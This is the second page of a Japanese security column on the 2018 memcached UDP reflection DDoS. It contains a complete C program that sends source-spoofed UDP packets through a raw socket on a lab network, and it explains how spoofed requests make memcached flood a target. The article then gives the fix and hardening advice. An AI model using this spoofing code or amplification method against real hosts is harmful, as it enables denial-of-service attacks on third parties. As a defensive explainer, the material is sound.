memcachedをDDoS攻撃に使われないための基本的な心掛けOSS脆弱性ウォッチ(3)(2/2 ページ)

» 2018年03月28日 05時00分 公開
[面和毅OSSセキュリティ技術の会]
前のページへ 1|2       

【2】UDPの特性を生かしたIPスプーフィングを試す

 前節の「認証がない」に加えて、memcachedは、脆弱性のあるバージョン(1.5.5)までは、デフォルトで11211/UDP、11211/TCPでListenしています。

 ここで、UDPの特性として「3wayハンドシェイクがない」ことに気が付くと思います。これを利用して、送信元を偽装してパケットを送ることができます。

 下記は、送信元を偽装したパケットを送るサンプルプログラムです。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#define MAX_PAC_SIZE 4096
 
void setup_ip_header(struct iphdr *iph)
{
    iph->ihl = 5;
    iph->version = 4;
    iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 15;
    iph->protocol = IPPROTO_UDP;
    iph->saddr = inet_addr("172.16.148.146");
    iph->daddr = inet_addr("172.16.148.145");
}
void setup_udp_header(struct udphdr *udph)
{
    udph->source = htons(5000);
    udph->dest = htons(12345);
    udph->check = 0;
    udph->len=htons(sizeof(struct udphdr) + 15);
}
 
int main(int argc, char *argv[ ])
{
        struct sockaddr_in addr;
    memset(&addr, 0, sizeof(addr));
 
    char datagram[MAX_PAC_SIZE];
        addr.sin_addr.s_addr=inet_addr("172.16.148.145");
        struct iphdr *iph = (struct iphdr *)datagram;
        struct udphdr *udph = (/*u_int8_t*/void *)iph + sizeof(struct iphdr);
 
        int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
 
        memset(datagram, 0, MAX_PAC_SIZE);
        setup_ip_header(iph);
        setup_udp_header(udph);
        int boolean = 1;
 
        if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, (const char *)&boolean, sizeof (boolean)) < 0){
        fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
        exit(-1);
        }
 
    fprintf(stdout, "Send data...\n");
        sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &addr, sizeof(addr));
        return 0;
}

 このプログラムは、あくまでも送信元偽装のサンプルで作ったものなので、きちんと作り込んでいません。プログラムを見て分かる通り、下記でUDPパケットを送るプログラムになっています。

  • 送信元:172.16.148.146(偽装)/5000
  • 宛先:172.16.148.145/12345

 このプログラムをコンパイルして、ホスト172.16.148.1上でsudoなどを用いてroot権限で実行すると、送信元を偽装して172.16.148.145に送ってくれます。172.16.148.145でキャプチャーしたパケットをtcpdumpで見ると、送信元が「172.16.148.146」に偽装できています(図5)。

図5

 ここまで述べた【1】【2】の条件がそろってしまったために起きたのが、今回の「memcachedを踏み台にしたDoSの問題」ということになります(図6)。

図6

 図6の1.では、攻撃者(今回の例では、172.16.148.1)が、問題のあるバージョンのmemcachedサーバ(今回の例では172.16.148.145)に、送信元をターゲットのサーバ(今回の例では172.16.148.146)に偽装して、データをGetで要求します(それ以前に大きいデータをSetしておき、その値をGetすることも考えられます)。

 図6の2.では、memcachedのサーバが、ターゲットのサーバに対してデータを送ります。

 図6の状況でPoCを動かした際のパケットキャプチャーが図7です。

図7

 memcachedのサーバ(172.16.148.145)からターゲット(172.16.148.146)にmemcachedプロトコルでの通信が大量に発生しているのが分かります。

 実際には、問題のあるmemcached(UDP上でListenしたまま)がインターネット上で多数公開されていたため、複数のサーバから一気にターゲットのサーバにデータを送り付けてDDoS攻撃となったようです。

脆弱性の修正

 今回の脆弱性の修正は、もっとも単純でかつ効果的なもので、「memcachedがデフォルトではUDPでListenしない」というものです。memcached 1.5.6で脆弱性が修正されています。詳しい情報は、お使いのディストリビューションの情報を確認した方がいいと思います。

今回の問題の教訓

 今回の問題は「memcachedのUDPがインターネット上からアクセスできるサーバが幾つもあった」ということに起因しています。そのため、昔からよく言われている下記2つの基本的な心掛けが大切になってきます。

  1. 不必要なサービスは動作させない
  2. どうしても動作させる場合には、アクセスできるIPを制限する

 皆さまも、インターネット上にサーバを公開する際には、基本的な心掛けを忘れないようにしましょう。

筆者紹介

面和毅

略歴:OSSのセキュリティ専門家として20年近くの経験があり、主にOS系のセキュリティに関しての執筆や講演を行う。大手ベンダーや外資系、ユーザー企業などでさまざまな立場を経験。2015年からサイオステクノロジーのOSS/セキュリティエバンジェリストとして活躍し、同社でSIOSセキュリティブログを連載中。

CISSP:#366942

近著:『Linuxセキュリティ標準教科書』(LPI-Japan)」


前のページへ 1|2       

Copyright © ITmedia, Inc. All Rights Reserved.

RSSについて

アイティメディアIDについて

メールマガジン登録

@ITのメールマガジンは、 もちろん、すべて無料です。ぜひメールマガジンをご購読ください。